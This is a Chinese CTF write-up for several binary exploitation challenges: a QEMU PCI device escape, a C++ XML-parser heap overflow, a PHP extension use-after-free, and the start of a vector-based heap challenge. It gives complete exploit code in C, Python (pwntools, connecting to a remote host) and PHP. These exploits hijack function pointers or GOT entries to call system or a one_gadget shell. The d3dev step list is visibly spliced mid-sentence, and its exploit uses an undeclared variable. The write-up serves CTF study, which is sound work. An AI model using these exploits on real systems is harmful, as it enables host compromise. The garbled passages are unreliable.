前言
分享一下比赛中除了Deterministic Heap之外的六五道题。
d3dev & d3dev_revenge
一道简单的qemu pwn,很适合入门,入门知识可参考qemu-pwn-基础知识,这里就不再赘述。
- 首先查看
launch.sh启动脚本:#!/bin/sh ./qemu-system-x86_64 \ -L pc-bios/ \ -m 128M \ -kernel vmlinuz \ -initrd rootfs.img \ -smp 1 \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \ -device d3dev \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \一般来说,从参数
-device d3dev中可以得知,我们要分析的就是这个d3dev设备逻辑,而且通常就是这个设备中存在着漏洞。 - 分析所给的
qemu-system-x86_64:do_qemu_init_pci_d3dev_register_types d3dev_mmio_read d3dev_mmio_write d3dev_pmio_read pci_d3dev_register_types d3dev_class_init pci_d3dev_realize d3dev_instance_init d3dev_pmio_write主要关注”d3dev”相关函数,从
d3dev_class_init中,可以获得到VenderID以及DeviceID,从而找到目标PCI设备,从而获得相关的设备内存空间地址:/ # lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 0200: 8086:100e 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 00ff: 2333:11e8 ===> d3dev 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 / # cat /sys/devices/pci0000\:00/0000:00\:03.0/resource 0x00000000febf1000 0x00000000febf17ff 0x0000000000040200 ==> mmio (start end size) 0x000000000000c040 0x000000000000c05f 0x0000000000040101 ==> pmio (start end size) 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000编写guest程序与设备交互的时候,可以直接映射设备地址,也可通过
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);来进行映射。上图中两个地址分别对应mmio和pmio。
- 分析
d3dev_mmio_write可以很容易发现:void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size) { __int64 v4; // rsi ObjectClass_0 **v5; // r11 uint64_t v6; // rdx int v7; // esi uint32_t v8; // er10 uint32_t v9; // er9 uint32_t v10; // er8 uint32_t v11; // edi unsigned int v12; // ecx uint64_t v13; // rax if ( size == 4 ) { v4 = opaque->seek + (unsigned int)(addr >> 3); if ( opaque->mmio_write_part ) { v5 = &opaque->pdev.qdev.parent_obj.class + v4; v6 = val << 32; v7 = 0; opaque->mmio_write_part = 0; v8 = opaque->key[0]; v9 = opaque->key[1]; v10 = opaque->key[2]; v11 = opaque->key[3]; v12 = v6 + *((_DWORD *)v5 + 0x2B6); v13 = ((unsigned __int64)v5[0x15B] + v6) >> 32; do { v7 -= 0x61C88647; v12 += (v7 + v13) ^ (v9 + ((unsigned int)v13 >> 5)) ^ (v8 + 16 * v13); LODWORD(v13) = ((v7 + v12) ^ (v11 + (v12 >> 5)) ^ (v10 + 16 * v12)) + v13; } while ( v7 != 0xC6EF3720 ); v5[0x15B] = (ObjectClass_0 *)__PAIR64__(v13, v12); } else { opaque->mmio_write_part = 1; opaque->blocks[v4] = (unsigned int)val; // index overflow } } }最后
opaque->blocks[v4] = (unsigned int)val;存在下标溢出,即v4 = opaque->seek + (unsigned int)(addr >> 3);,而opaque->seek可以通过d3dev_pmio_write进行设置,最大值为0x100,此时只要通过完全可控的addr,就能实现下标溢出。void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size) { uint32_t *v4; // rbp if ( addr == 8 ) { if ( val <= 0x100 ) opaque->seek = val; } else if ( addr > 8 ) { if ( addr == 0x1C ) { opaque->r_seed = val; v4 = opaque->key; do *v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 0x1CLL, val, *(_QWORD *)&size); while ( v4 != (uint32_t *)&opaque->rand_r ); } } else if ( addr ) { if ( addr == 4 ) { *(_QWORD *)opaque->key = 0LL; *(_QWORD *)&opaque->key[2] = 0LL; } } else { opaque->memory_mode = val; } }而继续分析相关结构体
d3devState:00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545) 00000000 pdev PCIDevice_0 ? 000008E0 mmio MemoryRegion_0 ? 000009D0 pmio MemoryRegion_0 ? 00000AC0 memory_mode dd ? 00000AC4 seek dd ? 00000AC8 init_flag dd ? 00000ACC mmio_read_part dd ? 00000AD0 mmio_write_part dd ? 00000AD4 r_seed dd ? 00000AD8 blocks dq 257 dup(?) 000012E0 key dd 4 dup(?) 000012F0 rand_r dq ? ; offset 000012F8 db ? ; undefined 000012F9 db ? ; undefined 000012FA db ? ; undefined 000012FB db ? ; undefined 000012FC db ? ; undefined 000012FD db ? ; undefined 000012FE db ? ; undefined 000012FF db ? ; undefined 00001300 d3devState ends可以看出,
blocks后面存在着一个函数指针rand_r,而通过d3dev_pmio_write中addr == 0x1C的情况,发现rand_r函数的第一个参数r->seed也是可控的,因此完全可以通过其实现调用system("cat flag")。 - 那么整个利用过程为:
- 通过调用
d3dev_pmio_write,即outw(0, 0xC040 + 0x4);将keys全部设置为0。 - 再通过调用
d3dev_pmio_write,即outw(0x100,d] = mmio_read(0x18); res[1] = mmio_read(0x18)读出rand_r函数地址(TEA加密后的),再解密得到明文,算出libc的基地址。 - 计算出
system的地址,由于d3dev_mmio_write的写内存模式为:先写入低4 bytes,然后结合第二次传入的4 bytes作为高4 bytes组合成8 bytes,TEA加密(解密)后再写入对应内存中。所以只要先加密system的地址,然后分两次(先低后高)写入即可opaque->rand_r处即可。 - 最后触发调用
rand_r,即可得到flag。
- 通过调用
- exp:
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) int fd; uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); } uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1; gfn = pme & PFN_PFN; return gfn; } uint64_t gva_to_gpa(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); } unsigned char *mmio_mem; void die(const char *msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main(int argc, char *argv[]) { fd = open("/proc/self/pagemap", O_RDONLY); if(fd < 0) { perror("open"); exit(-1); } // Open and map I/O memory for the strng device int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); if(mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if(mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem @ %p\n", mmio_mem); mlock(buffer, 0x1000); printf("Your physical address is at 0x%"PRIx64"\n", gva_to_gpa(buffer)); uint32_t res[10] = {0}; uint32_t key[4] = {0, 0, 0, 0}; iopl(3); outw(0, 0xC040 + 0x4); // set keys all zero outw(0x100, 0xC040 + 0x8); // seek = 0x100 res[0] = mmio_read(0x18); res[1] = mmio_read(0x18); encrypt(res, key); printf("%p\n", *(uint64_t *)res); uint64_t libc_base = *(uint64_t *)res - 0x25eb0; printf("libc_base: %p\n", libc_base); uint64_t system = libc_base + 0x30410; printf("system address: %p\n", system); res[0] = system & 0xFFFFFFFF; res[1] = system >> 32; decrypt(res, key); printf("res[0]: %p\n", res[0]); mmio_write(0x18, res[0]); mmio_write(0x18, res[1]); outw(0x0, 0xC040 + 0x8); // seek = 0x0 mmio_write(0x0, *(uint32_t *)"flag"); outl(*(uint32_t *)"cat ", 0xC040 + 0x1C); return 0; }
Truth
题目给了源码,编译因为是-O3,加上是cpp程序,所以binary会比较难看,直接分析源码即可。
- 首先,程序实现了一个简单的xml文件解析功能,提供了四个功能:
case 1: char temp; cout << "Please input file's content" << endl; while (read(STDIN_FILENO, &temp, 1) && temp != '\xff') { xmlContent.push_back(temp); } xmlfile.parseXml(xmlContent); break; case 2: cout << "Please input the node name which you want to edit" << endl; cin >> nodeName >> content; xmlfile.editXML(nodeName, content); break; case 3: pnode(*xmlfile.node->begin(), ""); break; case 4: cout << "MEME" << endl; cin >> nodeName; if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName)) temp->meme(temp->backup); break;分别是解析一个xml文件,编辑所给xml文件中给定节点的内容,打印节点信息,以及打印类成员backup中的内容。
- 主要注意到在输入一个xml文件,触发解析逻辑的时候:
void XML_NODE::parseNodeContents(std::vector<std::string::value_type>::iterator& current) { while (*current) { switch (*current) { case CHARACTACTERS::LT: { if (*(current + 1) == CHARACTACTERS::SLASH) { current += 2; auto gt = iterFind(current, CHARACTACTERS::GT); if (this->nodeName != std::string{ current, gt }) { std::cout << "Unmatch!" << std::endl; exit(-1); } current = gt + 1; return; } else { ++current; std::shared_ptr<XML_NODE> node(std::make_shared<XML_NODE>()); node->parse(current); if (!this->node) this->node = std::make_shared < std::vector < std::shared_ptr<XML_NODE>>>(); this->node->push_back(node); } break; } case CHARACTACTERS::NEWLINE: case CHARACTACTERS::BLANK: ++current; break; default: { auto lt = iterFind(current, CHARACTACTERS::LT); data = std::make_shared <std::string>(current, lt); backup = (char*)malloc(0x50); // malloc here current = lt; break; } } } }backup的大小是固定的由malloc(0x50)得到的,但是后面在editXML中:void XML::editXML(std::string& name, std::string& content) { int status = getEditStatus(name, content); if (status >= 1) { std::shared_ptr<XML_NODE> a = pnode(*node->begin(), "", name); if (a && a->nodeName == name) { if (status == 1) { *(a->data) = content; } else { for (int i = 0; i < a->data->length(); i++) // data can be very long { a->backup[i] = (*a->data)[i]; } *(a->data) = content; } } } else { std::cout << "No such name" << std::endl; } return; }这里的逻辑是,每次要edit节点内容的时候,会将原来
data中的数据放到backup中,然后再用data储存输入的新数据;问题在于,输入的data长度并没有限制,因此复制到backup中的时候,显然存在溢出的可能,于是这里存在一个heap overflow。 - 同时很重要的一点,菜单的第四个功能,是通过类成员中的一个函数指针实现的,即
temp->meme(temp->backup);中的meme,因此修改该函数指针,即可劫持程序控制流;同时,由于backup是在解析xml文件时分配的内存,因此其处于heap中地址较低处,也就是说,通过溢出backup,可以覆盖到后面地址中存在的许多结构体,也可以leak出其中存在的heap地址和libc地址。此外,由于分析具体的结构体构成比较费力,覆盖heap中数据时,应尽量避免修改原有数据,而主要是找到backup以及meme所在的位置,覆盖该backup指针指向任意地址或者覆盖meme指向onegadget,即可实现任意地址读写以及getshell。 - 因此利用思路为:
- 首先参照xml文件格式,编写一个尽量简单的文件交给程序解析,由于整个利用围绕xml中的节点展开,所以这里只定义一个root节点,也方便debug。
- 通过
editXML,实现溢出backup,再调用temp->meme(temp->backup),将backup后面的heap地址leak出来。 - 伪造结构体,控制其中的成员
backup为read_got,通过temp->meme(temp->backup)来leak出libc地址。 - 再控制成员
meme为onegadget即可。 - 总的来说,很多结构体并没有分析到位,基本通过调试,然后不断试错实现利用的,所以分析写得比较难看。
- exp:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys, os, re context(arch='amd64', os='linux', log_level='debug')p = remote('106.14.216.214', 48476) # menu choose_items = { "add": 1, "edit": 2, "show": 3, "bonus": 4 } def choose(idx): p.sendlineafter("Choice: ", str(idx)) def add(content): choose(choose_items['add']) p.sendlineafter("Please input file's content", content) def edit(name, content): choose(choose_items['edit']) p.sendlineafter("Please input the node name which you want to edit", name) p.sendline(content) def show(): choose(choose_items['show']) def bonus(name): choose(choose_items['bonus']) p.sendlineafter("MEME", name) # heap overflow, leak heap base add("<?xml version=\"1.0\" ?><root>" + "A" * 0x20 + "</root>\xFF") edit("root", "B" * 0x68 + "heapaddr") edit("root", "C" * 0x58) bonus("root") p.recvuntil("heapaddr") heap_base = u64(p.recvline()[:-1].ljust(8, "\x00")) - 0x11f30 # heap overflow, hijack struct to leak libc base edit("root", "D" * 0x58 + p64(0x21) + p64(0x405608) + p64(0x0000000100000001) + p64(heap_base + 0x12180)) pause() payload = flat([heap_base + 0x121a0, heap_base + 0x12190, 0x405608, 0x0000000100000001, 0x405340, heap_base + 0x11de8, 4, 0x746f6f72] + \ 4 *[0] + [heap_base + 0x11e00] * 2 + \ [0] + \ [heap_base + 0x11e70, heap_base + 0x11e60] + \ [0] * 2 + \ [elf.got['read']]) edit("root", payload) bonus("root") p.recvuntil("Useless") libc_base = u64(p.recv(6).ljust(8, "\x00")) - libc.sym['read'] one_gadget = libc_base + 0xf1207 # hijack fp payload = flat([heap_base + 0x121a0, heap_base + 0x12190, 0x405608, 0x0000000100000001, heap_base + 0x121C0, heap_base + 0x11de8, 4, 0x746f6f72] + \ [one_gadget, 0, 0, 0] + \ [heap_base + 0x11e00] * 2 + \ [0] + \ [heap_base + 0x11e70, heap_base + 0x11e60] + \ [0] * 2 + \ [heap_base + 0x12228]) edit("root", payload) bonus("root") success("libc_base: " + hex(libc_base)) success("heap_base: " + hex(heap_base)) p.interactive()
hackphp
第一次webpwn,题目本身并不难,主要是调试比较麻烦,Docker build出来的环境都和远程不一致(不知为何)。
- 分析
hackphp.so,主要关注这几个hackphp相关的函数:zif_hackphp_edit_cold zif_info_hackphp zm_activate_hackphp zif_hackphp_create zif_hackphp_delete zif_hackphp_edit zif_hackphp_get zif_startup_hackphp可以看出模式依然是菜单题模式,其中
zif_hackphp_create存在很明显的uaf漏洞:void __fastcall zif_hackphp_create(zend_execute_data *execute_data, zval *return_value) { __int64 v2; // rdi char *v3; // rdi __int64 size[3]; // [rsp+0h] [rbp-18h] BYREF v2 = execute_data->This.u2.next; size[1] = __readfsqword(0x28u); if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, size) != -1 ) { v3 = (char *)_emalloc(size[0]); buf = v3; buf_size = size[0]; if ( v3 ) { if ( (unsigned __int64)(size[0] - 0x100) <= 0x100 ) { return_value->u1.type_info = 3; return; } _efree(v3); } } return_value->u1.type_info = 2; }当所给的size不处于0x100~0x200之间时,就会马上调用
_efree(v3)给释放掉,但是指针并没有清空,依然可以show和edit。 - 其次,了解到本题中的堆管理机制并不同于ptmalloc,从利用的角度来说,而是有点类似于linux kernel的slab,即单考虑小块内存,总共有以下粒度,同一粒度的chunk最开始来自于某同一page:
define ZEND_MM_BINS_INFO(_, x, y) \ _( 0, 8, 512, 1, x, y) \ _( 1, 16, 256, 1, x, y) \ _( 2, 24, 170, 1, x, y) \ _( 3, 32, 128, 1, x, y) \ _( 4, 40, 102, 1, x, y) \ _( 5, 48, 85, 1, x, y) \ _( 6, 56, 73, 1, x, y) \ _( 7, 64, 64, 1, x, y) \ _( 8, 80, 51, 1, x, y) \ _( 9, 96, 42, 1, x, y) \ _(10, 112, 36, 1, x, y) \ _(11, 128, 32, 1, x, y) \ _(12, 160, 25, 1, x, y) \ _(13, 192, 21, 1, x, y) \ _(14, 224, 18, 1, x, y) \ _(15, 256, 16, 1, x, y) \ _(16, 320, 64, 5, x, y) \ _(17, 384, 32, 3, x, y) \ _(18, 448, 9, 1, x, y) \ _(19, 512, 8, 1, x, y) \ _(20, 640, 32, 5, x, y) \ _(21, 768, 16, 3, x, y) \ _(22, 896, 9, 2, x, y) \ _(23, 1024, 8, 2, x, y) \ _(24, 1280, 16, 5, x, y) \ _(25, 1536, 8, 3, x, y) \ _(26, 1792, 16, 7, x, y) \ _(27, 2048, 8, 4, x, y) \ _(28, 2560, 8, 5, x, y) \ _(29, 3072, 4, 3, x, y) #endif /* ZEND_ALLOC_SIZES_H */申请内存空间时,大小向上对齐。
而空闲chunk的维护,也是通过一个单链表,即chunk中存在一个fd指针,指向下一个空闲chunk,当链表中最后一个chunk被申请出去时,其fd=0,则说明空闲chunk已被用完,之后再申请会从新的page中产生。
同样地在释放的时候,并不是任意内存均可被
_efree,这里仅根据调试结果来看,应该需要位于特定的page中。 - 因此根据上面的管理机制,注意到对于size处于225~256时,申请出的chunk大小都是256,但是不同的是,只有size=256时,才能不触发
_efree,否则会被立刻_efree。 - 同时在调试过程中发现,在申请第一个0x100的chunk时,存在残留的地址信息,其中有一项指向php进程的heap区域,而该区域正好存在hackphp.so中的函数地址,因此只要利用uaf,申请到该区域的内存,就能实现leak,得到hackphp.so的基址:
gef➤ tele 0x00007fa5c088e000 0x00007fa5c088e000│+0x0000: "aaaaaaaabbbbbbbbccccccccdddddddd" 0x00007fa5c088e008│+0x0008: "bbbbbbbbccccccccdddddddd" 0x00007fa5c088e010│+0x0010: "ccccccccdddddddd" 0x00007fa5c088e018│+0x0018: "dddddddd" 0x00007fa5c088e020│+0x0020: 0x000055b970154f00 → 0x000001c600000001 ==> remained data 0x00007fa5c088e028│+0x0028: 0x0000000000000006 0x00007fa5c088e030│+0x0030: 0x00007fa5c0872200 → 0x0000004600000001 0x00007fa5c088e038│+0x0038: 0x0000000000000006 0x00007fa5c088e040│+0x0040: 0x000055b970155060 → 0x000001c600000001 0x00007fa5c088e048│+0x0048: 0x0000000000000006 gef➤ tele 0x000055b970154f00 50 0x000055b970154f00│+0x0000: 0x000001c600000001 0x000055b970154f08│+0x0008: 0xd304f972b2628589 0x000055b970154f10│+0x0010: 0x000000000000000c 0x000055b970154f18│+0x0018: "hackphp_edit" 0x000055b970154f20│+0x0020: 0x0000000074696465 ("edit"?) 0x000055b970154f28│+0x0028: 0x0000000000000081 0x000055b970154f30│+0x0030: 0x0000000100000001 0x000055b970154f38│+0x0038: 0x000055b970154f00 → 0x000001c600000001 0x000055b970154f40│+0x0040: 0x0000000000000000 0x000055b970154f48│+0x0048: 0x0000000000000000 0x000055b970154f50│+0x0050: 0x0000000100000001 0x000055b970154f58│+0x0058: 0x00007fa5c3073cb8 → 0x00007fa5c3072095 → 0x6c62757000727473 ("str"?) 0x000055b970154f60│+0x0060: 0x00007fa5c3071480 → <zif_hackphp_edit+0> endbr64 ==> hackphp.so 0x000055b970154f68│+0x0068: 0x000055b970154da0 → 0x013416b6000000a8 0x000055b970154f70│+0x0070: 0x0000000000000000 0x000055b970154f78│+0x0078: 0x0000000000000000 0x000055b970154f80│+0x0080: 0x0000000000000000 0x000055b970154f88│+0x0088: 0x0000000000000000 0x000055b970154f90│+0x0090: 0x0000000000000000 0x000055b970154f98│+0x0098: 0x0000000000000000 0x000055b970154fa0│+0x00a0: 0x0000000000000000 0x000055b970154fa8│+0x00a8: 0x0000000000000031 ("1"?) 0x000055b970154fb0│+0x00b0: 0x000001c600000001 0x000055b970154fb8│+0x00b8: 0xa82920e8d2d87056 0x000055b970154fc0│+0x00c0: 0x000000000000000e 0x000055b970154fc8│+0x00c8: "hackphp_delete" 0x000055b970154fd0│+0x00d0: 0x00006574656c6564 ("delete"?) 0x000055b970154fd8│+0x00d8: 0x0000000000000081 0x000055b970154fe0│+0x00e0: 0x0000000100000001 0x000055b970154fe8│+0x00e8: 0x000055b970154fb0 → 0x000001c600000001 0x000055b970154ff0│+0x00f0: 0x0000000000000000 0x000055b970154ff8│+0x00f8: 0x0000000000000000 0x000055b970155000│+0x0100: 0x0000000000000000 0x000055b970155008│+0x0108: 0x0000000000000000 0x000055b970155010│+0x0110: 0x00007fa5c3071420 → <zif_hackphp_delete+0> endbr64 ==> hackphp.so 0x000055b970155018│+0x0118: 0x000055b970154da0 → 0x013416b6000000a8 0x000055b970155020│+0x0120: 0x0000000000000000 0x000055b970155028│+0x0128: 0x0000000000000000 0x000055b970155030│+0x0130: 0x0000000000000000 0x000055b970155038│+0x0138: 0x0000000000000000 0x000055b970155040│+0x0140: 0x0000000000000000 0x000055b970155048│+0x0148: 0x0000000000000000 0x000055b970155050│+0x0150: 0x0000000000000000 0x000055b970155058│+0x0158: 0x0000000000000031 ("1"?) 0x000055b970155060│+0x0160: 0x000001c600000001 0x000055b970155068│+0x0168: 0xc0938b7014ebbf23 0x000055b970155070│+0x0170: 0x000000000000000b 0x000055b970155078│+0x0178: "hackphp_get" 0x000055b970155080│+0x0180: 0x0000000000746567 ("get"?) 0x000055b970155088│+0x0188: 0x0000000000000081这里发现调试的时候,残留的heap地址不是固定的,可能重启下就又换了个地址,但是并不影响后续利用,如果出现如上的情况只要
hackphp_edit的时候多写一个字节,然后算地址的时候处理一下即可。 - 得到hackphp.so的基址,加上任意地址写,就能够完全控制全局变量
buf;不过这里要注意一下,_emalloc到任意地址的时候,要注意该地址的fake chunk->fd要么指向可写地址,原因是打印的时候也会触发_emalloc;要么直接为0,这样下一次_emalloc就会重新分配新的page,不会破坏内存。 - 因此利用的思路为:
- 首先正常
_emalloc(0x100),leak出php进程的heap地址。 - 之后通过uaf,申请到该heap中的内存,通过
zif_hackphp_get得到hackphp.so的加载基址。 - 继续通过uaf,申请到全局变量buf所在的内存空间,覆盖buf指向
memcpy_got。 - 通过
zif_hackphp_get得到memcpy的地址,计算出libc基址和system的地址。 - 再通过
zif_hackphp_edit覆盖memcpy_got处为/readflag,以及覆盖_efree为system。 - 最后调用
zif_hackphp_delete触发system。
- 首先正常
- exp:
<?php function strToHex($str) { $hex = ""; for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i])); $hex = strtoupper($hex); return $hex; } function hexToStr($hex) { $hex = sprintf("%08x", $hex); $str = ""; for ($i = strlen($hex) - 2;$i >= 0;$i -= 2) $str.= chr(hexdec($hex[$i] . $hex[$i + 1])); return $str; } function read() { $fp = fopen('/dev/stdin', 'r'); $input = fgets($fp, 255); fclose($fp); $input = chop($input); return $input; } hackphp_create(0x100); echo read(); hackphp_edit("aaaaaaaabbbbbbbbccccccccdddddddd"); $a = hackphp_get(); echo $a."\n"; echo strlen($a); $heap_addr = substr($a, -6); echo $heap_addr."\n"; $heap_addrn = base_convert(strTohex($heap_addr),16,10); echo $heap_addrn; echo "\n"; hackphp_create(0xff); hackphp_edit(hexToStr($heap_addrn + 0xf8)); hackphp_create(0x100); hackphp_create(0x100); hackphp_edit("aaaaaaaabbbbbbbbcccccccc"); $edit_addr = substr(hackphp_get(), -6); $edit_addrn = base_convert(strTohex($edit_addr),16,10); $buf_addrn = $edit_addrn - 0x1420 + 0x4178; echo $buf_addrn; echo "\n"; $buf_addr = hexToStr($buf_addrn-0x10); $vline = $heap_addrn + 0xC8090; $memcpy_got = $edit_addrn-0x1420+0x4060; hackphp_create(0xff); hackphp_edit($buf_addr); hackphp_create(0x100); hackphp_create(0x100); $payload = "\x00\x00\x00\x00\x00\x00\x00\x00".hexToStr($vline)."\x00\x00".hexToStr($memcpy_got); hackphp_edit($payload); $libc = hackphp_get(); $libcn = base_convert(strToHex($libc),16,10) - 0x18e670; $system_addr = $libcn + 0x55410; echo $libcn; $pay = "/readflag\x00\x00\x00\x00\x00\x00\x00".chr($system_addr & 0xFF).chr(($system_addr >> 8) & 0xFF).chr(($system_addr >> 16) & 0xFF).chr(($system_addr >> 24) & 0xFF).chr(($system_addr >> 32) & 0xFF).chr(($system_addr >> 40) & 0xFF); hackphp_edit($pay); hackphp_delete(); // echo read(); ?> - 附上调试过程中踩到的坑:
- 在调用
zif_hackphp_get的时候,要保证此时内存状态是正常的,因为:void __fastcall zif_hackphp_get(zend_execute_data *execute_data, zval *return_value) { __int64 v2; // rax if ( buf && buf_size ) { v2 = zend_strpprintf(0LL, "%s", buf); return_value->value.lval = v2; return_value->u1.type_info = (*(_DWORD *)(v2 + 4) & 0x40) == 0 ? 262 : 6; } else { return_value->u1.type_info = 2; } }其中
zend_strpprintf会调用到_emalloc申请临时buffer,之后用完会释放,若此时内存状态不正常,就会crash。 - 调试的时候可以手动实现一个
read的功能,将php断住,便于下断点。至于fopen被禁用的问题,可以修改php.ini中的disable_function,把fopen给删掉即可。
- 在调用
狡兔三窟
- 首先分析一下几个重要的结构体,以及各个菜单的功能:
- NoteStorageImpl:
struct NoteStorageImpl { struct NoteImpl *member_1; // offset = 0 struct NoteImpl *member_2; // offset = 8 struct NoteDBImpl *house; // offset = 0x10 }; - NoteImpl:
struct NoteImpl { void *func_get_encourage; // offset = 0 uint8_t vector_status; // offset = 8 vector<char> buf_1; // offset = 0x10 vector<char> buf_2; // offset = 0x1A0 void *malloc; // offset = 0x1B8 } - NoteDBImpl
struct NoteDBImpl { struct NoteImpl *member; // offset = 0 uint8_t status; // offset = 8 } - editHouse:
__int64 __fastcall NoteStorageImpl::editHouse(NoteStorageImpl *this) { NoteImpl *v1; // rax if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool(this) != 1 ) v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this + 8); else v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this); return NoteImpl::add(v1); }判断
NoteStorageImpl中的member_1是否为空,若不为空,则操作member_1,否则操作member_2。unsigned __int64 __fastcall NoteImpl::add(NoteImpl *this) { __int64 v1; // rax __int64 v2; // rax __int64 v3; // rax _QWORD *v4; // rax __int64 v5; // rax char v7; // [rsp+17h] [rbp-9h] BYREF unsigned __int64 v8; // [rsp+18h] [rbp-8h] v8 = __readfsqword(0x28u); v7 = 0; if ( *((_BYTE *)this + 8) != 1 ) { v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you want to clear it?(y/N)"); std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); std::operator>><char,std::char_traits<char>>(&std::cin, &v7); if ( v7 == 'y' && *((_BYTE *)this + 8) != 1 ) { v2 = std::operator<<<std::char_traits<char>>(&std::cout, "you can only clear once!!"); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::vector<char>::clear((_QWORD *)this + 2); *((_BYTE *)this + 8) = 1; } } v3 = std::operator<<<std::char_traits<char>>(&std::cout, "content(q to quit):"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); while ( 1 ) { v4 = (_QWORD *)std::operator>><char,std::char_traits<char>>(&std::cin, &v7); if ( !(unsigned __int8)std::ios::operator bool((char *)v4 + *(_QWORD *)(*v4 - 0x18LL)) || v7 == 'q' ) break; if ( (unsigned __int64)std::vector<char>::size((char *)this + 0x10) > 0x1000 ) { v5 = std::operator<<<std::char_traits<char>>(&std::cout, "nonono!"); std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); exit(0); } std::vector<char>::push_back((char *)this + 16, &v7); } return __readfsqword(0x28u) ^ v8; }结构体
NoteImpl成员buf_1都有一次clear的机会,除此之外,只能通过push_back追加,总长度最多为0x1000。 - saveHouse:
__int64 __fastcall NoteStorageImpl::saveHouse(NoteStorageImpl *this) { NoteImpl *v1; // rax __int64 result; // rax NoteImpl *v3; // rax __int64 v4; // rax if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool(this) ) { v1 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this); result = NoteImpl::save(v1); } else if ( (unsigned __int8)std::unique_ptr<NoteImpl>::operator bool((char *)this + 8) ) { v3 = (NoteImpl *)std::unique_ptr<NoteImpl>::get((__int64)this + 8); result = NoteImpl::save(v3); } else { v4 = std::operator<<<std::char_traits<char>>(&std::cout, "You have no house to save!!!"); result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); } return result; }顺序判断
member_1和member_2是否为空,不为空,则调用:__int64 __fastcall NoteImpl::save(NoteImpl *this) { return std::vector<char>::shrink_to_fit((__int64)this + 16); }对相应
member_1(或者member_2)结构体中的buf_1vector进行shrink_to_fit操作,即将vector的大小缩小到满足储存需要并且对齐0x10的最小值;从行为上看,是会将原来所占的buffer给先free掉,然后根据原vector的size重新再malloc空间。这是很关键的一个函数,由于vector的所占内存空间的增长方式是倍增,所以如果想要获得某个特定大小的vector,就可通过
shrink_to_fit来实现,此时vector的倍增基数就变成了可控的大小。 - backup:
